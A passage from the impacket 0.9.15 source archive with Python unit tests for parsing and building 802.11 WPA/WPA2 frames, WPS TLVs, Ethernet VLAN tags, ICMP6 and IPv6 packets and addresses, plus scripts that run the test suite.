self.wpa_header.set_WEPSeed(0xAB)
self.assertEqual(self.wpa_header.get_WEPSeed(), 0xAB)
def test_07_TSCs(self):
'Test WPAData TSC0 to TSC5 getter and setter methods'
# TSC0
self.assertEqual(self.wpa_header.get_TSC0(), 0x5A)
self.wpa_header.set_TSC0(0xAB)
self.assertEqual(self.wpa_header.get_TSC0(), 0xAB)
# TSC1
self.assertEqual(self.wpa_header.get_TSC1(), 0x02)
self.wpa_header.set_TSC1(0xAB)
self.assertEqual(self.wpa_header.get_TSC1(), 0xAB)
# TSC2
self.assertEqual(self.wpa_header.get_TSC2(), 0x00)
self.wpa_header.set_TSC2(0xAB)
self.assertEqual(self.wpa_header.get_TSC2(), 0xAB)
# TSC3
self.assertEqual(self.wpa_header.get_TSC3(), 0x00)
self.wpa_header.set_TSC3(0xAB)
self.assertEqual(self.wpa_header.get_TSC3(), 0xAB)
# TSC4
self.assertEqual(self.wpa_header.get_TSC4(), 0x00)
self.wpa_header.set_TSC4(0xAB)
self.assertEqual(self.wpa_header.get_TSC4(), 0xAB)
# TSC5
self.assertEqual(self.wpa_header.get_TSC5(), 0x00)
self.wpa_header.set_TSC5(0xAB)
self.assertEqual(self.wpa_header.get_TSC5(), 0xAB)
def test_08_data(self):
'Test WPAData body'
data='\xa2\x0e\x77\x36\xea\x90\x76\x0f\x7a\x9f\x6e\x6c\x78\xb9\xe0\x3e\xb4\x9d\x09\xca\xde\xef\x95\x58\x28\x97\x17\x46\x53\x43\x41\x2b\x2a\xc6\xbe\xe4\x59\x60\xf0\x17\x1d\x20\x8c\xca\x3c\x26\x0d\x5d\x6b\x10\x81\xbc\xc6\xba\x90\xa5\x77\x0e\x83\xd0\xd0\xb9\xdd\xbf\x80\xbf\x65\x17\xee\xc0\x3a\x52\x32\x34\x75\xac\x0c\xc2\xbb\x25\x28\x8f\x6a\xe6\x96\x7a\x53\x4a\x77\xcc\x2b\xe5\x9a\x9a\x73\xc2\x08\x4c\x42\x15\xe9\x26\xa0\xce\x70\x0e\x50\x9b\x2d\xa2\x6e\xcb\x92\x54\xc0\x6d\xbc\x13\xfe\x4d\xd8\x6b\x8c\x76\x98\x9a\x71\x4d\x51\xb1\xf5\x4f\xe2\x43\x1b\xfa\x6f\x5c\x98\x6a\x3a\x64\x4f\x50\xc4\x09\x7d\x10\x3f\xa2\x64\xd9\xad\x6e\x44\xe3\x84\x3d\x2b\x77\x11\xd8\x04\x9d\x9d\xd4\x32\x35\xe8\x3d\xeb\xd5\x9a\xde\xf3\xb5\x41\x67\x94\xf9\xb1\xe0\x7a\xea\x33\xb2\x00\xef\x6a\x2e\x6c\x3b\xea\x23\x49\x23\xc2\xca\x24\x53\xea'
self.assertEqual(self.wpa_data.body_string, data)
def test_09_mic(self):
'Test WPAData MIC field'
mic='\xc0\x7e\x8c\xcf\x73\xcb\x2d\x0c'
#icv=>'\x8e\xdb\x7b\x9e'
self.assertEqual(self.wpa_data.get_MIC(), mic)
mic='\x01\x02\x03\x04\xff\xfe\xfd\xfc'
self.wpa_data.set_MIC(mic)
self.assertEqual(self.wpa_data.get_MIC(), mic)
self.assertEqual(self.wpa_data.get_icv(), 0x8edb7b9e)
def test_10_get_icv(self):
'Test WPAData ICV field'
self.assertEqual(self.wpa_data.get_icv(), 0x8edb7b9e)
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11WPAData)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_WPA2.py 0000600 0000765 0000000 00000007763 12734531507 022333 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from dot11 import Dot11,Dot11Types,Dot11DataFrame,Dot11WPA2,Dot11WPA2Data
from binascii import hexlify
import unittest
class TestDot11WPA2Data(unittest.TestCase):
def setUp(self):
# 802.11 Data Frame
#
self.frame_orig='\x08\x49\x24\x00\x00\x21\x29\x68\x33\x5d\x00\x15\xaf\xe4\xf1\x0f\x00\x21\x29\x68\x33\x5b\xe0\x31\x1b\x13\x00\x20\x00\x00\x00\x00\x84\x7d\x6a\x30\x8c\x60\x7e\x3b\x22\xdc\x16\xc1\x4b\x28\xd3\x26\x76\x9d\x2e\x59\x96\x31\x3e\x01\x6f\x61\xa2\x59\xc8\xdc\xd3\xc4\xad\x7c\xcc\x32\xa8\x9f\xf6\x03\x02\xe1\xac\x1d\x1e\x02\x8a\xcd\x5b\x94\x20\x2d\xfc\x6e\x37\x40\x2e\x46\x17\x19\x0c\xc0\x34\x07\xae\xe7\x77\xaf\xf9\x9f\x41\x53'
d = Dot11(self.frame_orig)
self.assertEqual(d.get_type(),Dot11Types.DOT11_TYPE_DATA)
self.assertEqual(d.get_subtype(),Dot11Types.DOT11_SUBTYPE_DATA)
self.assertEqual(d.get_type_n_subtype(),Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA)
data = Dot11DataFrame(d.get_body_as_string())
d.contains(data)
self.wpa2_header = Dot11WPA2(data.body_string)
data.contains(self.wpa2_header)
self.wpa2_data = Dot11WPA2Data(self.wpa2_header.body_string)
self.wpa2_header.contains(self.wpa2_data)
def test_01_is_WPA2(self):
'Test WPA2Header is_WPA2 method'
self.assertEqual(self.wpa2_header.is_WPA2(), True)
def test_03_extIV(self):
'Test WPA2Header extIV getter and setter methods'
self.assertEqual(self.wpa2_header.get_extIV(), 0x01)
self.wpa2_header.set_extIV(0x00) # Es de 1 bit
self.assertEqual(self.wpa2_header.get_extIV(), 0x00)
def test_04_keyid(self):
'Test WPA2Header keyID getter and setter methods'
self.assertEqual(self.wpa2_header.get_keyid(), 0x00)
self.wpa2_header.set_keyid(0x03) # Es de 2 bits
self.assertEqual(self.wpa2_header.get_keyid(), 0x03)
#TODO: Test get_decrypted_data
#def test_05_get_decrypted_data(self):
def test_06_PNs(self):
'Test WPA2Data PN0 to PN5 getter and setter methods'
# PN0
self.assertEqual(self.wpa2_header.get_PN0(), 0x1b)
self.wpa2_header.set_PN0(0xAB)
self.assertEqual(self.wpa2_header.get_PN0(), 0xAB)
# PN1
self.assertEqual(self.wpa2_header.get_PN1(), 0x13)
self.wpa2_header.set_PN1(0xAB)
self.assertEqual(self.wpa2_header.get_PN1(), 0xAB)
# PN2
self.assertEqual(self.wpa2_header.get_PN2(), 0x00)
self.wpa2_header.set_PN2(0xAB)
self.assertEqual(self.wpa2_header.get_PN2(), 0xAB)
# PN3
self.assertEqual(self.wpa2_header.get_PN3(), 0x00)
self.wpa2_header.set_PN3(0xAB)
self.assertEqual(self.wpa2_header.get_PN3(), 0xAB)
# PN4
self.assertEqual(self.wpa2_header.get_PN4(), 0x00)
self.wpa2_header.set_PN4(0xAB)
self.assertEqual(self.wpa2_header.get_PN4(), 0xAB)
# PN5
self.assertEqual(self.wpa2_header.get_PN5(), 0x00)
self.wpa2_header.set_PN5(0xAB)
self.assertEqual(self.wpa2_header.get_PN5(), 0xAB)
def test_07_data(self):
'Test WPA2Data body'
data='\x84\x7d\x6a\x30\x8c\x60\x7e\x3b\x22\xdc\x16\xc1\x4b\x28\xd3\x26\x76\x9d\x2e\x59\x96\x31\x3e\x01\x6f\x61\xa2\x59\xc8\xdc\xd3\xc4\xad\x7c\xcc\x32\xa8\x9f\xf6\x03\x02\xe1\xac\x1d\x1e\x02\x8a\xcd\x5b\x94\x20\x2d\xfc\x6e\x37\x40\x2e\x46\x17\x19'
self.assertEqual(self.wpa2_data.body_string, data)
def test_08_mic(self):
'Test WPA2Data MIC field'
mic='\x0c\xc0\x34\x07\xae\xe7\x77\xaf'
self.assertEqual(self.wpa2_data.get_MIC(), mic)
mic='\x01\x02\x03\x04\xff\xfe\xfd\xfc'
self.wpa2_data.set_MIC(mic)
self.assertEqual(self.wpa2_data.get_MIC(), mic)
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11WPA2Data)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_wps.py 0000600 0000765 0000000 00000002555 12734531507 022425 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# Copyright (c) 2003-2013 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# $Id$
#
# Description:
# Tests for WPS packets
#
# Author:
# Aureliano Calvo
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../../..")
import unittest
from impacket import wps
import array
class TestTLVContainer(unittest.TestCase):
def testNormalUsageContainer(self):
BUILDERS={
1: wps.StringBuilder(),
2: wps.ByteBuilder(),
3: wps.NumBuilder(2)
}
tlvc = wps.TLVContainer(builders=BUILDERS)
KINDS_N_VALUES = (
(1, "Sarlanga"),
(2, 1),
(3, 1024),
(4, array.array("B", [1,2,3]))
)
for k,v in KINDS_N_VALUES:
tlvc.append(k,v)
tlvc2 = wps.TLVContainer(builders=BUILDERS)
tlvc2.from_ary(tlvc.to_ary())
for k,v in KINDS_N_VALUES:
self.assertEqual(v, tlvc2.first(k))
self.assertEqual(tlvc.to_ary(), tlvc2.to_ary())
self.assertEquals("Sarlanga", tlvc.first(1))
suite = unittest.TestLoader().loadTestsFromTestCase(TestTLVContainer)
unittest.TextTestRunner(verbosity=2).run(suite) impacket-0.9.15/impacket/testcases/ImpactPacket/ 0000700 0000765 0000000 00000000000 12734532622 021606 5 ustar beto wheel 0000000 0000000 impacket-0.9.15/impacket/testcases/ImpactPacket/__init__.py 0000600 0000765 0000000 00000000005 12734531507 023715 0 ustar beto wheel 0000000 0000000 pass
impacket-0.9.15/impacket/testcases/ImpactPacket/runalltestcases.bat 0000600 0000765 0000000 00000000060 12734531507 025511 0 ustar beto wheel 0000000 0000000
FOR /f "tokens=*" %%G IN ('dir /B *.py') DO %%G impacket-0.9.15/impacket/testcases/ImpactPacket/runalltestcases.sh 0000700 0000765 0000000 00000001326 12734531507 025364 0 ustar beto wheel 0000000 0000000 #!/bin/bash
separator='======================================================================'
#ls *.py | xargs -I{} --max-args=1 bash -c "echo -e '$separator\nExecuting: {}\n';python {}"
#ls *.py | xargs --max-args=1 python
export PYTHONPATH=../../..:$PYTHONPATH
total=0
ok=0
failed=0
for file in `ls *.py` ; do
echo $separator
echo Executing $file
latest=$(
python $file 2>&1 | {
while read line; do
echo " $line" 1>&2
latest="$line"
done
echo $latest
}
)
#echo Latest ${latest}
result=${latest:0:6}
if [ "$result" = "FAILED" ]
then
(( failed++ ))
elif [ "$result" = "OK" ]
then
(( ok++ ))
fi
(( total++ ))
done
echo $separator
echo Summary:
echo " OK $ok/$total"
echo " $failed FAILED"
impacket-0.9.15/impacket/testcases/ImpactPacket/test_ethernet.py 0000600 0000765 0000000 00000010314 12734531507 025037 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
import sys
sys.path.insert(0,"../..")
from ImpactPacket import Ethernet, EthernetTag
from array import array
import unittest
class TestEthernet(unittest.TestCase):
def setUp(self):
# Ethernet frame with a 802.1Q tag (TPID=0x8100, PCP=5, DEI=0, VID=3315)
# and ethertype 0x0800 (IPv4)
self.frame = '\x54\xab\xa3\xb9\x38\x3d\xe2\xef\x8d\xc7\xa8\x5e\x81\x00\xac\xf3\x08\x00'
self.eth = Ethernet(self.frame)
def test_01(self):
"""Test Ethernet getters"""
self.assertEqual(self.eth.get_packet(), self.frame)
self.assertEqual(self.eth.get_header_size(), 18)
self.assertEqual(self.eth.get_ether_type(), 0x0800)
# Check source and destination MACs
self.assertEqual(self.eth.get_ether_dhost(), array('B', self.frame[0:6]))
self.assertEqual(self.eth.get_ether_shost(), array('B', self.frame[6:12]))
def test_02(self):
"""Test Ethernet setters"""
self.eth.set_ether_type(0x88cc)
self.assertEqual(self.eth.get_ether_type(), 0x88cc)
# Swap source and destination MACs
dhost = self.eth.get_ether_dhost()
shost = self.eth.get_ether_shost()
self.eth.set_ether_dhost(shost)
self.eth.set_ether_shost(dhost)
self.assertEqual(self.eth.get_ether_dhost(), array('B', self.frame[6:12]))
self.assertEqual(self.eth.get_ether_shost(), array('B', self.frame[0:6]))
def test_03(self):
"""Test EthernetTag getters"""
tag = self.eth.pop_tag()
self.assertEqual(tag.get_buffer_as_string(), '\x81\x00\xac\xf3')
self.assertEqual(tag.get_tpid(), 0x8100)
self.assertEqual(tag.get_pcp(), 5)
self.assertEqual(tag.get_dei(), 0)
self.assertEqual(tag.get_vid(), 3315)
def test_04(self):
"""Test EthernetTag setters"""
tag = self.eth.pop_tag()
tag.set_tpid(0x88a8)
tag.set_pcp(2)
tag.set_dei(1)
tag.set_vid(876)
self.assertEqual(tag.get_buffer_as_string(), '\x88\xa8\x53\x6c')
def test_05(self):
"""Test manipulation with VLAN tags"""
def check_tags(*tags):
self.assertEqual(self.eth.tag_cnt, len(tags))
self.assertEqual(self.eth.get_header_size(), 14 + 4*len(tags))
self.assertEqual(self.eth.get_ether_type(), 0x0800)
for i,tag in enumerate(tags):
self.assertEqual(self.eth.get_tag(i).get_buffer_as_string(), tag)
# Add S-tag (outer tag, closest to the Ethernet header)
self.eth.push_tag(EthernetTag(0x88a85001))
check_tags('\x88\xa8\x50\x01', '\x81\x00\xac\xf3')
# Set C-tag (inner tag, closest to the payload) to default
self.eth.set_tag(1, EthernetTag())
check_tags('\x88\xa8\x50\x01', '\x81\x00\x00\x00')
# Insert a deprecated 802.1QinQ header between S-tag and C-tag
self.eth.push_tag(EthernetTag(0x910054d2), index=1)
check_tags('\x88\xa8\x50\x01', '\x91\x00\x54\xd2', '\x81\x00\x00\x00')
# Test negative indices
tags = {}
for i in range(-3,3):
tags[i] = self.eth.get_tag(i).get_buffer_as_string()
self.assertEqual(tags[-1], tags[2])
self.assertEqual(tags[-2], tags[1])
self.assertEqual(tags[-3], tags[0])
# Accessing non-existent tags raises IndexError
self.assertRaises(IndexError, self.eth.get_tag, 3)
self.assertRaises(IndexError, self.eth.get_tag, -4)
self.assertRaises(IndexError, self.eth.set_tag, 3, EthernetTag())
self.assertRaises(IndexError, self.eth.set_tag, -4, EthernetTag())
# Test Ethernet constructor
data = self.eth.get_buffer_as_string()
eth_copy = Ethernet(data)
self.assertEqual(eth_copy.tag_cnt, 3)
self.assertEqual(eth_copy.get_header_size(), 26)
self.assertEqual(eth_copy.get_ether_type(), 0x0800)
# Remove the deprecated 802.1QinQ header and check resulting frame
eth_copy.pop_tag(1)
self.assertEqual(eth_copy.tag_cnt, 2)
self.assertEqual(eth_copy.get_packet(), self.frame[:12] + tags[0] + tags[2] + self.frame[-2:])
suite = unittest.TestLoader().loadTestsFromTestCase(TestEthernet)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/ImpactPacket/test_ICMP6.py 0000600 0000765 0000000 00000022654 12734531507 024051 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
#Impact test version
try:
from impacket import IP6_Address, IP6, ImpactDecoder, ICMP6
except:
pass
#Standalone test version
try:
import sys
sys.path.insert(0,"../..")
import IP6_Address, IP6, ImpactDecoder, ICMP6
except:
pass
import unittest
class TestICMP6(unittest.TestCase):
def setUp(self):
self.packet_list = self.generate_icmp6_constructed_packets()
self.message_description_list = [
"Echo Request",
"Echo Reply",
"Parameter problem - Erroneous header field",
"Parameter problem - Unrecognized Next Header",
"Parameter problem - Unrecognized IP6 Option",
"Destination unreachable - No route to destination",
"Destination unreachable - Administratively prohibited",
"Destination unreachable - Beyond scope of source address",
"Destination unreachable - Address unreachable ",
"Destination unreachable - Port unreachable",
"Destination unreachable - Src addr failed due to policy",
"Destination unreachable - Reject route",
"Time exceeded - Hop limit exceeded in transit",
"Time exceeded - Fragment reassembly time exceeded",
"Packet too big"
]
self.reference_data_list = [
[0x80, 0x00, 0xA2, 0xA6, 0x00, 0x01, 0x00, 0x02, 0xFE, 0x56, 0x88],#Echo Request
[0x81, 0x00, 0xA1, 0xA6, 0x00, 0x01, 0x00, 0x02, 0xFE, 0x56, 0x88],#Echo Reply
[0x04, 0x00, 0x1E, 0xA8, 0x00, 0x00, 0x00, 0x02, 0xFE, 0x56, 0x88],#Parameter problem
[0x04, 0x01, 0x1E, 0xA7, 0x00, 0x00, 0x00, 0x02, 0xFE, 0x56, 0x88],
[0x04, 0x02, 0x1E, 0xA6, 0x00, 0x00, 0x00, 0x02, 0xFE, 0x56, 0x88],
[0x01, 0x00, 0x21, 0xAA, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],#Dest. unreachable
[0x01, 0x01, 0x21, 0xA9, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],
[0x01, 0x02, 0x21, 0xA8, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],
[0x01, 0x03, 0x21, 0xA7, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],
[0x01, 0x04, 0x21, 0xA6, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],
[0x01, 0x05, 0x21, 0xA5, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],
[0x01, 0x06, 0x21, 0xA4, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],
[0x03, 0x00, 0x1F, 0xAA, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],#Time exceeded
[0x03, 0x01, 0x1F, 0xA9, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],
[0x02, 0x00, 0x1B, 0x96, 0x00, 0x00, 0x05, 0x14, 0xFE, 0x56, 0x88]#Packet too big
]
def encapsulate_icmp6_packet_in_ip6_packet(self, icmp6_packet):
#Build IP6 reference packet (which will be used to construct the pseudo-header and checksum)
ip6_packet = IP6.IP6()
ip6_packet.set_traffic_class(0)
ip6_packet.set_flow_label(0)
ip6_packet.set_hop_limit(1)
ip6_packet.set_source_address("FE80::78F8:89D1:30FF:256B")
ip6_packet.set_destination_address("FF02::1")
#Encapsulate ICMP6 packet in IP6 packet, calculate the checksum using the pseudo-header
ip6_packet.contains(icmp6_packet)
ip6_packet.set_next_header(ip6_packet.child().get_ip_protocol_number())
ip6_packet.set_payload_length(ip6_packet.child().get_size())
icmp6_packet.calculate_checksum()
return ip6_packet
def compare_icmp6_packet_with_reference_buffer(self, icmp6_packet, reference_buffer, test_fail_message):
#Encapsulate the packet, in order to compute the checksum
ip6_packet = self.encapsulate_icmp6_packet_in_ip6_packet(icmp6_packet)
#Extract the header and payload bytes
icmp6_header_buffer = ip6_packet.child().get_bytes().tolist()
icmp6_payload_buffer = icmp6_packet.child().get_bytes().tolist()
generated_buffer = icmp6_header_buffer + icmp6_payload_buffer
self.assertEquals(generated_buffer, reference_buffer, test_fail_message)
def generate_icmp6_constructed_packets(self):
packet_list = []
arbitrary_data = [0xFE, 0x56, 0x88]
echo_id = 1
echo_sequence_number = 2
icmp6_packet = ICMP6.ICMP6.Echo_Request(echo_id, echo_sequence_number, arbitrary_data)
packet_list.append(icmp6_packet)
icmp6_packet = ICMP6.ICMP6.Echo_Reply(echo_id, echo_sequence_number, arbitrary_data)
packet_list.append(icmp6_packet)
originating_packet_data = arbitrary_data
for code in range(0, 3):
problem_pointer = 2
icmp6_packet = ICMP6.ICMP6.Parameter_Problem(code, problem_pointer, originating_packet_data)
packet_list.append(icmp6_packet)
for code in range(0, 7):
icmp6_packet = ICMP6.ICMP6.Destination_Unreachable(code, originating_packet_data)
packet_list.append(icmp6_packet)
for code in range(0, 2):
icmp6_packet = ICMP6.ICMP6.Time_Exceeded(code, originating_packet_data)
packet_list.append(icmp6_packet)
icmp6_packet = ICMP6.ICMP6.Packet_Too_Big(1300, originating_packet_data)
packet_list.append(icmp6_packet)
return packet_list
def test_message_construction(self):
for packet, reference, msg in zip(self.packet_list, self.reference_data_list, self.message_description_list):
self.compare_icmp6_packet_with_reference_buffer(packet, reference, "ICMP6 creation of " + msg + " - Buffer mismatch")
def test_message_decoding(self):
d = ImpactDecoder.ICMP6Decoder()
msg_types = [
ICMP6.ICMP6.ECHO_REQUEST,
ICMP6.ICMP6.ECHO_REPLY,
ICMP6.ICMP6.PARAMETER_PROBLEM,
ICMP6.ICMP6.PARAMETER_PROBLEM,
ICMP6.ICMP6.PARAMETER_PROBLEM,
ICMP6.ICMP6.DESTINATION_UNREACHABLE,
ICMP6.ICMP6.DESTINATION_UNREACHABLE,
ICMP6.ICMP6.DESTINATION_UNREACHABLE,
ICMP6.ICMP6.DESTINATION_UNREACHABLE,
ICMP6.ICMP6.DESTINATION_UNREACHABLE,
ICMP6.ICMP6.DESTINATION_UNREACHABLE,
ICMP6.ICMP6.DESTINATION_UNREACHABLE,
ICMP6.ICMP6.TIME_EXCEEDED,
ICMP6.ICMP6.TIME_EXCEEDED,
ICMP6.ICMP6.PACKET_TOO_BIG
]
msg_codes = [
0,
0,
ICMP6.ICMP6.ERRONEOUS_HEADER_FIELD_ENCOUNTERED,
ICMP6.ICMP6.UNRECOGNIZED_NEXT_HEADER_TYPE_ENCOUNTERED,
ICMP6.ICMP6.UNRECOGNIZED_IPV6_OPTION_ENCOUNTERED,
ICMP6.ICMP6.NO_ROUTE_TO_DESTINATION,
ICMP6.ICMP6.ADMINISTRATIVELY_PROHIBITED,
ICMP6.ICMP6.BEYOND_SCOPE_OF_SOURCE_ADDRESS,
ICMP6.ICMP6.ADDRESS_UNREACHABLE,
ICMP6.ICMP6.PORT_UNREACHABLE,
ICMP6.ICMP6.SOURCE_ADDRESS_FAILED_INGRESS_EGRESS_POLICY,
ICMP6.ICMP6.REJECT_ROUTE_TO_DESTINATION,
ICMP6.ICMP6.HOP_LIMIT_EXCEEDED_IN_TRANSIT,
ICMP6.ICMP6.FRAGMENT_REASSEMBLY_TIME_EXCEEDED,
0
]
for i in range (0, len(self.reference_data_list)):
p = d.decode(self.reference_data_list[i])
self.assertEquals(p.get_type(), msg_types[i], self.message_description_list[i] + " - Msg type mismatch")
self.assertEquals(p.get_code(), msg_codes[i], self.message_description_list[i] + " - Msg code mismatch")
if i in range(0, 2):
self.assertEquals(p.get_echo_id(), 1, self.message_description_list[i] + " - ID mismatch")
self.assertEquals(p.get_echo_sequence_number(), 2, self.message_description_list[i] + " - Sequence number mismatch")
self.assertEquals(p.get_echo_arbitrary_data().tolist(), [0xFE, 0x56, 0x88], self.message_description_list[i] + " - Arbitrary data mismatch")
if i in range(2, 5):
self.assertEquals(p.get_parm_problem_pointer(), 2, self.message_description_list[i] + " - Pointer mismatch")
if i in range(5, 15):
self.assertEquals(p.get_originating_packet_data().tolist(), [0xFE, 0x56, 0x88], self.message_description_list[i] + " - Originating packet data mismatch")
if i in range(14, 15):
self.assertEquals(p.get_mtu(), 1300, self.message_description_list[i] + " - MTU mismatch")
suite = unittest.TestLoader().loadTestsFromTestCase(TestICMP6)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/ImpactPacket/test_IP6.py 0000600 0000765 0000000 00000006153 12734531507 023625 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
#Impact test version
try:
from impacket import IP6_Address, IP6, ImpactDecoder
except:
pass
#Standalone test version
try:
import sys
sys.path.insert(0,"../..")
import IP6_Address, IP6, ImpactDecoder
except:
pass
import unittest
class TestIP6(unittest.TestCase):
def setUp(self):
#Version 6, traffic class 72, flow label 148997, payload length 1500
#next header 17 (UDP), hop limit 1
#source addr FE80::78F8:89D1:30FF:256B
#dest addr FF02::1:3
self.binary_packet = [
0x64, 0x82, 0x46, 0x05,
0x05, 0xdc, 0x11, 0x01,
0xfe, 0x80, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x78, 0xf8, 0x89, 0xd1,
0x30, 0xff, 0x25, 0x6b,
0xff, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, 0x03]
def test_decoding(self):
'''Test IP6 Packet decoding.'''
d = ImpactDecoder.IP6Decoder()
parsed_packet = d.decode(self.binary_packet)
protocol_version = parsed_packet.get_protocol_version()
traffic_class = parsed_packet.get_traffic_class()
flow_label = parsed_packet.get_flow_label()
payload_length = parsed_packet.get_payload_length()
next_header = parsed_packet.get_next_header()
hop_limit = parsed_packet.get_hop_limit()
source_address = parsed_packet.get_source_address()
destination_address = parsed_packet.get_destination_address()
self.assertEquals(protocol_version, 6, "IP6 parsing - Incorrect protocol version")
self.assertEquals(traffic_class, 72, "IP6 parsing - Incorrect traffic class")
self.assertEquals(flow_label, 148997, "IP6 parsing - Incorrect flow label")
self.assertEquals(payload_length, 1500, "IP6 parsing - Incorrect payload length")
self.assertEquals(next_header, 17, "IP6 parsing - Incorrect next header")
self.assertEquals(hop_limit, 1, "IP6 parsing - Incorrect hop limit")
self.assertEquals(source_address.as_string(), "FE80::78F8:89D1:30FF:256B", "IP6 parsing - Incorrect source address")
self.assertEquals(destination_address.as_string(), "FF02::1:3", "IP6 parsing - Incorrect destination address")
def test_creation(self):
'''Test IP6 Packet creation.'''
crafted_packet = IP6.IP6()
crafted_packet.set_traffic_class(72)
crafted_packet.set_flow_label(148997)
crafted_packet.set_payload_length(1500)
crafted_packet.set_next_header(17)
crafted_packet.set_hop_limit(1)
crafted_packet.set_source_address("FE80::78F8:89D1:30FF:256B")
crafted_packet.set_destination_address("FF02::1:3")
crafted_buffer = crafted_packet.get_bytes().tolist()
self.assertEquals(crafted_buffer, self.binary_packet, "IP6 creation - Buffer mismatch")
suite = unittest.TestLoader().loadTestsFromTestCase(TestIP6)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/ImpactPacket/test_IP6_Address.py 0000600 0000765 0000000 00000017104 12734531507 025270 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
#Impact test version
try:
from impacket import IP6_Address
except:
pass
#Standalone test version
try:
import sys
sys.path.insert(0,"../..")
import IP6_Address
except:
pass
import unittest
class TestIP6_Address(unittest.TestCase):
def runTest(self):
pass
def test_construction(self):
'''Test IP6 Address construction'''
normal_text_address = "FE80:1234:5678:ABCD:EF01:2345:6789:ABCD"
normal_binary_address = [0xFE, 0x80, 0x12, 0x34,
0x56, 0x78, 0xAB, 0xCD,
0xEF, 0x01, 0x23, 0x45,
0x67, 0x89, 0xAB, 0xCD]
oversized_text_address = "FE80:1234:5678:ABCD:EF01:2345:6789:ABCD:1234"
oversized_binary_address = [0xFE, 0x80, 0x12, 0x34,
0x56, 0x78, 0xAB, 0xCD,
0xEF, 0x01, 0x23, 0x45,
0x67, 0x89, 0xAB, 0xCD, 0x00]
subsized_text_address = "FE80:1234:5678:ABCD:EF01:2345:6789"
subsized_binary_address = [0xFE, 0x80, 0x12, 0x34,
0x56, 0x78, 0xAB, 0xCD,
0xEF, 0x01, 0x23, 0x45,
0x67, 0x89, 0xAB]
malformed_text_address_1 = "FE80:123456788:ABCD:EF01:2345:6789:ABCD"
malformed_text_address_2 = "ZXYW:1234:5678:ABCD:EF01:2345:6789:ABCD"
malformed_text_address_3 = "FFFFFF:1234:5678:ABCD:EF01:2345:67:ABCD"
empty_text_address = ""
empty_binary_address = []
self.assert_(IP6_Address.IP6_Address(normal_text_address), "IP6 address construction with normal text address failed")
self.assert_(IP6_Address.IP6_Address(normal_binary_address), "IP6 address construction with normal binary address failed")
self.assertRaises(Exception, IP6_Address.IP6_Address, oversized_text_address)#, "IP6 address construction with oversized text address incorrectly succeeded")
self.assertRaises(Exception, IP6_Address.IP6_Address, oversized_binary_address)#, "IP6 address construction with oversized binary address incorrectly succeeded")
self.assertRaises(Exception, IP6_Address.IP6_Address, subsized_text_address)#, "IP6 address construction with subsized text address incorrectly succeeded")
self.assertRaises(Exception, IP6_Address.IP6_Address, subsized_binary_address)#, "IP6 address construction with subsized binary address incorrectly succeeded")
self.assertRaises(Exception, IP6_Address.IP6_Address, malformed_text_address_1)#, "IP6 address construction with malformed text address (#1) incorrectly succeeded")
self.assertRaises(Exception, IP6_Address.IP6_Address, malformed_text_address_2)#, "IP6 address construction with malformed text address (#2) incorrectly succeeded")
self.assertRaises(Exception, IP6_Address.IP6_Address, malformed_text_address_3)#, "IP6 address construction with malformed text address (#3) incorrectly succeeded")
self.assertRaises(Exception, IP6_Address.IP6_Address, empty_text_address)#, "IP6 address construction with empty text address incorrectly succeeded")
self.assertRaises(Exception, IP6_Address.IP6_Address, empty_binary_address)#, "IP6 address construction with empty binary address incorrectly succeeded")
def test_unicode_representation(self):
'''Test IP6 Unicode text representations'''
unicode_normal_text_address = u'FE80:1234:5678:ABCD:EF01:2345:6789:ABCD'
self.assert_(IP6_Address.IP6_Address(unicode_normal_text_address), "IP6 address construction with UNICODE normal text address failed")
def test_conversions(self):
'''Test IP6 Address conversions.'''
text_address = "FE80:1234:5678:ABCD:EF01:2345:6789:ABCD"
binary_address = [0xFE, 0x80, 0x12, 0x34,
0x56, 0x78, 0xAB, 0xCD,
0xEF, 0x01, 0x23, 0x45,
0x67, 0x89, 0xAB, 0xCD]
self.assert_(IP6_Address.IP6_Address(text_address).as_string() == text_address, "IP6 address conversion text -> text failed")
self.assert_(IP6_Address.IP6_Address(binary_address).as_bytes() == binary_address, "IP6 address conversion binary -> binary failed")
self.assert_(IP6_Address.IP6_Address(binary_address).as_string() == text_address, "IP6 address conversion binary -> text failed")
self.assert_(IP6_Address.IP6_Address(text_address).as_bytes().tolist() == binary_address, "IP6 address conversion text -> binary failed")
def test_compressions(self):
'''Test IP6 Address compressions.'''
compressed_addresses = [ "::",
"1::",
"::1",
"1::2",
"1::1:2:3",
"FE80:234:567:4::1"
]
full_addresses = ["0000:0000:0000:0000:0000:0000:0000:0000",
"0001:0000:0000:0000:0000:0000:0000:0000",
"0000:0000:0000:0000:0000:0000:0000:0001",
